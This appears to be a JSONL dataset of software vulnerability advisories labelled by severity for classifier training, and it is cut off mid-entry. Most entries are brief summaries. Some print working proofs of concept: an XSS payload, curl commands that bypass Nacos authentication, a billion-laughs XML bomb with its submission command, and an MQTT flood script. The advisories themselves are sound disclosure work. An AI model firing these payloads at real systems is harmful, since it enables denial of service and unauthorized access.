-{"id": "6a896e043c6c930627fb", "text": "Improper Restriction of XML External Entity Reference in pippo-core\n\njaxb/JaxbEngine.java in Pippo 1.11.0 allows XXE.", "text_raw": "Improper Restriction of XML External Entity Reference in pippo-core\n\n[Severity: CRITICAL]\n\njaxb/JaxbEngine.java in Pippo 1.11.0 allows XXE.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-19", "split": "train"}
-{"id": "e57babd783de2ac4ec52", "text": "rauLink Software Domotica Web 2.0 SQL Injection Authentication Bypass", "text_raw": "rauLink Software Domotica Web 2.0 SQL Injection Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2020-07-05", "split": "train"}
-{"id": "c13b03cfa016df76ed40", "text": "Out-of-bounds Write in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an out-of-bounds write error in the FillColorRow8 function in utils.cpp when reading an image file by using cv::imread.", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an out-of-bounds write error in the FillColorRow8 function in utils.cpp when reading an image file by using cv::imread.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "a5519686bb8a7cbdfacb", "text": "Cross-Site Scripting in mustache\n\nVersions of `mustache` prior to 2.2.1 are affected by a cross-site scripting vulnerability when attributes in mustache templates are not quoted.\n\n### Example\nTemplate:\n```<a href={{foo}}/>```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```<a href=test.com onload=alert(1)/>```\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.\nAlternatively, ensure that all attributes in hmustache templates are encapsulated with quotes.", "text_raw": "Cross-Site Scripting in mustache\n\n[Severity: HIGH]\n\nVersions of `mustache` prior to 2.2.1 are affected by a cross-site scripting vulnerability when attributes in mustache templates are not quoted.\n\n\n\n### Example\nTemplate:\n```<a href={{foo}}/>```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```<a href=test.com onload=alert(1)/>```\n\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.\nAlternatively, ensure that all attributes in hmustache templates are encapsulated with quotes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f5893fe2e2609ffe10e2", "text": "Improper Certificate Validation in Microsoft .NET Framework components\n\nMicrosoft .NET Framework 2.0 SP2, 3.0 SP2, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2, 4.7, 4.7.1, .NET Core 1.0 and 2.0, and PowerShell Core 6.0.0 allow a security feature bypass vulnerability due to the way certificates are validated, aka \".NET Security Feature Bypass Vulnerability.\"", "text_raw": "Improper Certificate Validation in Microsoft .NET Framework components\n\n[Severity: HIGH]\n\nMicrosoft .NET Framework 2.0 SP2, 3.0 SP2, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2, 4.7, 4.7.1, .NET Core 1.0 and 2.0, and PowerShell Core 6.0.0 allow a security feature bypass vulnerability due to the way certificates are validated, aka \".NET Security Feature Bypass Vulnerability.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "9d0051c591518a8dafa9", "text": "xt:Commerce v4.0.15 (products_name_de) Script Insertion Vulnerability", "text_raw": "xt:Commerce v4.0.15 (products_name_de) Script Insertion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-08-23", "split": "train"}
-{"id": "13e5bd7d89213a49dba6", "text": "ECOA Building Automation System Missing Encryption Of Sensitive Information", "text_raw": "ECOA Building Automation System Missing Encryption Of Sensitive Information\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-09-09", "split": "train"}
-{"id": "a27186de407bff8ec3b1", "text": "Regular Expression Denial of Service (ReDoS)\n\nnpm `ssri` 5.2.2-6.0.1 and 7.0.0-8.0.0, processes SRIs using a regular expression which is vulnerable to a denial of service. Malicious SRIs could take an extremely long time to process, leading to denial of service. This issue only affects consumers using the strict option.", "text_raw": "Regular Expression Denial of Service (ReDoS)\n\n[Severity: HIGH]\n\nnpm `ssri` 5.2.2-6.0.1 and 7.0.0-8.0.0, processes SRIs using a regular expression which is vulnerable to a denial of service. Malicious SRIs could take an extremely long time to process, leading to denial of service. This issue only affects consumers using the strict option.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "6703e12b88701123aca0", "text": "Cross-site Scripting (XSS) - Stored in crud-file-server\n\nVersions of `crud-file-server` before 0.8.0 are vulnerable to stored cross-site scripting (XSS). This is due to insufficient santiziation of filenames when directory index is served by `crud-file-server`.\n\n## Recommendation\n\nUpdate to version 0.8.0 or later.", "text_raw": "Cross-site Scripting (XSS) - Stored in crud-file-server\n\n[Severity: MEDIUM]\n\nVersions of `crud-file-server` before 0.8.0 are vulnerable to stored cross-site scripting (XSS). This is due to insufficient santiziation of filenames when directory index is served by `crud-file-server`.\n\n\n## Recommendation\n\nUpdate to version 0.8.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "962f7631ccbd56a81831", "text": "Denial of Service in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has a denial of service (CPU consumption) issue, as demonstrated by the 11-opencv-dos-cpu-exhaust test case.", "text_raw": "Denial of Service in OpenCV\n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has a denial of service (CPU consumption) issue, as demonstrated by the 11-opencv-dos-cpu-exhaust test case.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "b6bcb01e4de2a8dbe304", "text": "Malicious Package in bs58chek\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bs58chek\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "99b9d2b07bf959010f64", "text": "Authorization bypass in Strapi\n\n`admin/src/containers/InputModalStepperProvider/index.js` in Strapi before 3.2.5 has unwanted `/proxy?url=` functionality.", "text_raw": "Authorization bypass in Strapi\n\n[Severity: CRITICAL]\n\n`admin/src/containers/InputModalStepperProvider/index.js` in Strapi before 3.2.5 has unwanted `/proxy?url=` functionality.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "a9a0be182ee483d8f7ae", "text": "Denial of Service in mqtt\n\nAffected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require('mqtt-packet');\nvar packets = [];\nfor(var i=0; i<=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:'publish',\n            topic:Buffer.from('hello'),\n            payload:Buffer.from('world'),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.", "text_raw": "Denial of Service in mqtt\n\n[Severity: MEDIUM]\n\nAffected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require('mqtt-packet');\nvar packets = [];\nfor(var i=0; i<=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:'publish',\n            topic:Buffer.from('hello'),\n            payload:Buffer.from('world'),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-12-28", "split": "train"}
-{"id": "ab47f6d6b8a04228b256", "text": "Authentication Bypass\n\nWhen configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed.\n\nThe following request to the `configuration` endpoint gets rejected as we are not providing any credentials:\n```\n❯ curl -X POST \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld\"\n{\"timestamp\":\"2020-12-02T14:33:57.154+0000\",\"status\":403,\"error\":\"Forbidden\",\"message\":\"unknown user!\",\"path\":\"/nacos/v1/cs/configs\"}                                                                                                       \n```\n\nHowever the following one gets accepted by using the `Nacos-Server` user-agent header:\n```\n❯ curl -X POST -A Nacos-Server \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld\"\ntrue \n```\n\n#### Impact\n\nThis issue may allow any user to carry out any administrative tasks on the Nacos server.", "text_raw": "Authentication Bypass\n\n[Severity: HIGH]\n\nWhen configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed.\n\nThe following request to the `configuration` endpoint gets rejected as we are not providing any credentials:\n```\n❯ curl -X POST \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld\"\n{\"timestamp\":\"2020-12-02T14:33:57.154+0000\",\"status\":403,\"error\":\"Forbidden\",\"message\":\"unknown user!\",\"path\":\"/nacos/v1/cs/configs\"}                                                                                                       \n```\n\nHowever the following one gets accepted by using the `Nacos-Server` user-agent header:\n```\n❯ curl -X POST -A Nacos-Server \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld\"\ntrue \n```\n\n#### Impact\n\nThis issue may allow any user to carry out any administrative tasks on the Nacos server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-27", "split": "train"}
-{"id": "c087a6207a464f7a63de", "text": "Server-Side Request Forgery (SSRF) in com.ctrip.framework.apollo:apollo\n\nAn SSRF vulnerability was found in an API from Ctrip Apollo through 1.4.0-SNAPSHOT. An attacker may use it to do an intranet port scan or raise a GET request via `/system-info/health` because the `%23` substring is mishandled.", "text_raw": "Server-Side Request Forgery (SSRF) in com.ctrip.framework.apollo:apollo\n\n[Severity: CRITICAL]\n\nAn SSRF vulnerability was found in an API from Ctrip Apollo through 1.4.0-SNAPSHOT. An attacker may use it to do an intranet port scan or raise a GET request via `/system-info/health` because the `%23` substring is mishandled.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-04-18", "split": "train"}
-{"id": "8cc095d3dc0daa46715f", "text": "Microsoft made an internal discovery of a security vulnerability in version 2.x of ASP.NET Core where\na specially crafted request can cause excess resource consumption in Kestrel.", "text_raw": "Moderate severity vulnerability that affects Microsoft.AspNetCore.All, Microsoft.AspNetCore.Server.Kestrel.Core, Microsoft.AspNetCore.Server.Kestrel.Transport.Abstractions, and Microsoft.AspNetCore.Server.Kestrel.Transport.Libuv\n\n[Severity: MEDIUM]\n\nMicrosoft made an internal discovery of a security vulnerability in version 2.x of ASP.NET Core where\na specially crafted request can cause excess resource consumption in Kestrel.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "1e38cdea9cea1160bd15", "text": "node-openssl is malware\n\nThe `node-openssl` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "node-openssl is malware\n\n[Severity: HIGH]\n\nThe `node-openssl` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "a793930b3c2eab70ad90", "text": "eivindfjeldstad-dot contains prototype pollution vulnerability\n\neivindfjeldstad-dot below 1.0.3 is vulnerable to Prototype Pollution.The function 'set' could be tricked into adding or modifying properties of 'Object.prototype' using a '__proto__' payload.", "text_raw": "eivindfjeldstad-dot contains prototype pollution vulnerability\n\n[Severity: MEDIUM]\n\neivindfjeldstad-dot below 1.0.3 is vulnerable to Prototype Pollution.The function 'set' could be tricked into adding or modifying properties of 'Object.prototype' using a '__proto__' payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-25", "split": "train"}
-{"id": "1665dc546b505b509d73", "text": "Billion laughs attack (XML bomb)\n\n### Impact\n\nOpencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)  which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.\n\nConsider an XML file (`createMediaPackage.xml`) like this:\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<!DOCTYPE lolz [\n <!ENTITY lol \"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. \">\n <!ELEMENT title (#PCDATA)>\n <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n <!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n]>\n<mediapackage xmlns=\"http://mediapackage.opencastproject.org\" id=\"d162d5b2-b54f-4400-a268-ee6565b0e6e7\" start=\"2020-01-23T23:08:37Z\">\n  <title>&lol5;</title>\n  <media/>\n  <metadata/>\n  <attachments/>\n  <publications/>\n</mediapackage>\n```\n\nThrowing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:\n\n```sh\ncurl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \\\n  -F 'mediapackage=<createMediaPackage.xml' \\\n  -F sourceFlavors=\"\" \\\n  -F sourceTags=\"\" \\\n  -F deleteExternal=\"\" \\\n  -F tagsAndFlavor='' \\\n  -o out.xml\n```\n\nAdditional notes:\n\n- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.\n- Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system. \n- To exploit this, users need to have ingest privileges, limiting the group of potential attackers\n\n### Patches\n\nThe problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.\n\n### Workarounds\n\nThere is no known workaround for this issue.\n\n### References\n\n- [Billion laughs attack explained](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)", "text_raw": "Billion laughs attack (XML bomb)\n\n[Severity: HIGH]\n\n### Impact\n\nOpencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)  which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.\n\nConsider an XML file (`createMediaPackage.xml`) like this:\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<!DOCTYPE lolz [\n <!ENTITY lol \"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. \">\n <!ELEMENT title (#PCDATA)>\n <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n <!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n]>\n<mediapackage xmlns=\"http://mediapackage.opencastproject.org\" id=\"d162d5b2-b54f-4400-a268-ee6565b0e6e7\" start=\"2020-01-23T23:08:37Z\">\n  <title>&lol5;</title>\n  <media/>\n  <metadata/>\n  <attachments/>\n  <publications/>\n</mediapackage>\n```\n\nThrowing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:\n\n```sh\ncurl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \\\n  -F 'mediapackage=<createMediaPackage.xml' \\\n  -F sourceFlavors=\"\" \\\n  -F sourceTags=\"\" \\\n  -F deleteExternal=\"\" \\\n  -F tagsAndFlavor='' \\\n  -o out.xml\n```\n\nAdditional notes:\n\n- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.\n- Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system. \n- To exploit this, users need to have ingest privileges, limiting the group of potential attackers\n\n### Patches\n\nThe problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.\n\n### Workarounds\n\nThere is no known workaround for this issue.\n\n### References\n\n- [Billion laughs attack explained](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-17", "split": "train"}
-{"id": "5cfd16a468f51e5f0d9b", "text": "SQL Injection in librenms\n\nA second-order SQL injection issue in Widgets/TopDevicesController.php (aka the Top Devices dashboard widget) of LibreNMS before 21.1.0 allows remote authenticated attackers to execute arbitrary SQL commands via the sort_order parameter against the /ajax/form/widget-settings endpoint.", "text_raw": "SQL Injection in librenms\n\n[Severity: HIGH]\n\nA second-order SQL injection issue in Widgets/TopDevicesController.php (aka the Top Devices dashboard widget) of LibreNMS before 21.1.0 allows remote authenticated attackers to execute arbitrary SQL commands via the sort_order parameter against the /ajax/form/widget-settings endpoint.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "94dc8c733feee6eda152", "text": "Improper Validation of Certificates in apache axis\n\nThe getCN function in Apache Axis 1.4 and earlier does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a certificate with a subject that specifies a common name in a field that is not the CN field.  NOTE: this issue exists because of an incomplete fix for CVE-2012-5784.", "text_raw": "Improper Validation of Certificates in apache axis\n\n[Severity: MEDIUM]\n\nThe getCN function in Apache Axis 1.4 and earlier does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a certificate with a subject that specifies a common name in a field that is not the CN field.  NOTE: this issue exists because of an incomplete fix for CVE-2012-5784.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "75f5a52885de529e02d4", "text": "Prototype Pollution in node-jsonpointer\n\nThis affects the package `jsonpointer` before `5.0.0`. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.", "text_raw": "Prototype Pollution in node-jsonpointer\n\n[Severity: MEDIUM]\n\nThis affects the package `jsonpointer` before `5.0.0`. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "8cc142e2a227f8571ad6", "text": "Regular Expression Denial of Service in semver\n\nVersions 4.3.1 and earlier of `semver` are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Recommendation\n\nUpdate to version 4.3.2 or later", "text_raw": "Regular Expression Denial of Service in semver\n\n[Severity: HIGH]\n\nVersions 4.3.1 and earlier of `semver` are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n\n## Recommendation\n\nUpdate to version 4.3.2 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "00f63f7879603079bd45", "text": "Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities", "text_raw": "Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-04-20", "split": "train"}
-{"id": "98a8c82c7fbdcd3b792f", "text": "Regular expression denial of service in url-regex\n\nall versions of url-regex are vulnerable to Regular Expression Denial of Service. An attacker providing a very long string in String.test can cause a Denial of Service.", "text_raw": "Regular expression denial of service in url-regex\n\n[Severity: HIGH]\n\nall versions of url-regex are vulnerable to Regular Expression Denial of Service. An attacker providing a very long string in String.test can cause a Denial of Service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-22", "split": "train"}
-{"id": "8d67bb234a47de3711b5", "text": "Remote Memory Exposure in floody\n\nVersions of `floody` before 0.1.1 are vulnerable to remote memory exposure.\n\n.write(number)` in the affected `floody` versions passes a number to Buffer constructor, appending a chunk of uninitialized memory.\n\nProof of Concept:\n\n```\nvar f = require('floody')(process.stdout); \nf.write(USERSUPPLIEDINPUT); \n'f.stop();\n\n## Recommendation\n\nUpdate to version 0.1.1 or later.", "text_raw": "Remote Memory Exposure in floody\n\n[Severity: MEDIUM]\n\nVersions of `floody` before 0.1.1 are vulnerable to remote memory exposure.\n\n.write(number)` in the affected `floody` versions passes a number to Buffer constructor, appending a chunk of uninitialized memory.\n\nProof of Concept: \n\n```\nvar f = require('floody')(process.stdout); \nf.write(USERSUPPLIEDINPUT); \n'f.stop();\n\n\n## Recommendation\n\nUpdate to version 0.1.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "93151d424d164c9326f2", "text": "Authorization Bypass Through User-Controlled Key in Bagisto\n\nIn Webkul Bagisto before 0.1.5, the functionalities for customers to change their own values (such as address, review, orders, etc.) can also be manipulated by other customers.", "text_raw": "Authorization Bypass Through User-Controlled Key in Bagisto\n\n[Severity: MEDIUM]\n\nIn Webkul Bagisto before 0.1.5, the functionalities for customers to change their own values (such as address, review, orders, etc.) can also be manipulated by other customers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "c977c330a3ba55e8605b", "text": "Sensitive information exposure through logs in npm-registry-fetch\n\nAffected versions of `npm-registry-fetch` are vulnerable to an information exposure vulnerability through log files. The cli supports URLs like `<protocol>://[<user>[:<password>]@]<hostname>[:<port>][:][/]<path>`. The password value is not redacted and is printed to stdout and also to any generated log files.", "text_raw": "Sensitive information exposure through logs in npm-registry-fetch\n\n[Severity: MEDIUM]\n\nAffected versions of `npm-registry-fetch` are vulnerable to an information exposure vulnerability through log files. The cli supports URLs like `<protocol>://[<user>[:<password>]@]<hostname>[:<port>][:][/]<path>`. The password value is not redacted and is printed to stdout and also to any generated log files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "61811f5e62c1d8ae0c5f", "text": "Real Estate Portal v4.1 Remote Code Execution and Persistent XSS Vulnerabilities", "text_raw": "Real Estate Portal v4.1 Remote Code Execution and Persistent XSS Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-05-25", "split": "train"}
-{"id": "35d53d51651592409465", "text": "Mautic Sessions could be hijacked due to tracking contacts by an auto-incremented ID\n\n### Impact\nAn issue was discovered in Mautic 1.x and 2.x before 2.13.0. It is possible to systematically emulate tracking cookies per contact due to tracking the contact by their auto-incremented ID. Thus, a third party can manipulate the cookie value with +1 to systematically assume being tracked as each contact in Mautic. It is then possible to retrieve information about the contact through forms that have progressive profiling enabled.\n\n### Patches\nUpdate to 2.13.0 or later\n\n### Workarounds\nNone\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "Mautic Sessions could be hijacked due to tracking contacts by an auto-incremented ID\n\n[Severity: HIGH]\n\n### Impact\nAn issue was discovered in Mautic 1.x and 2.x before 2.13.0. It is possible to systematically emulate tracking cookies per contact due to tracking the contact by their auto-incremented ID. Thus, a third party can manipulate the cookie value with +1 to systematically assume being tracked as each contact in Mautic. It is then possible to retrieve information about the contact through forms that have progressive profiling enabled.\n\n### Patches\nUpdate to 2.13.0 or later\n\n### Workarounds\nNone\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "1ba8b22e4fe08419771a", "text": "Overflow/denial of service in `tf.raw_ops.ReverseSequence`\n\n### Impact\nThe implementation of `tf.raw_ops.ReverseSequence` allows for stack overflow and/or `CHECK`-fail based denial of service.\n\n```python\nimport tensorflow as tf\n\ninput = tf.zeros([1, 1, 1], dtype=tf.int32)\nseq_lengths = tf.constant([0], shape=[1], dtype=tf.int32)\n\ntf.raw_ops.ReverseSequence(\n    input=input, seq_lengths=seq_lengths, seq_dim=-2, batch_dim=0)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/5b3b071975e01f0d250c928b2a8f901cd53b90a7/tensorflow/core/kernels/reverse_sequence_op.cc#L114-L118) fails to validate that `seq_dim` and `batch_dim` arguments are valid.\n\nNegative values for `seq_dim` can result in stack overflow or `CHECK`-failure, depending on the version of Eigen code used to implement the operation. Similar behavior can be exhibited by invalid values of `batch_dim`.\n\n### Patches\nWe have patched the issue in GitHub commit [ecf768cbe50cedc0a45ce1ee223146a3d3d26d23](https://github.com/tensorflow/tensorflow/commit/ecf768cbe50cedc0a45ce1ee223146a3d3d26d23).\n\nThe fix will be included in 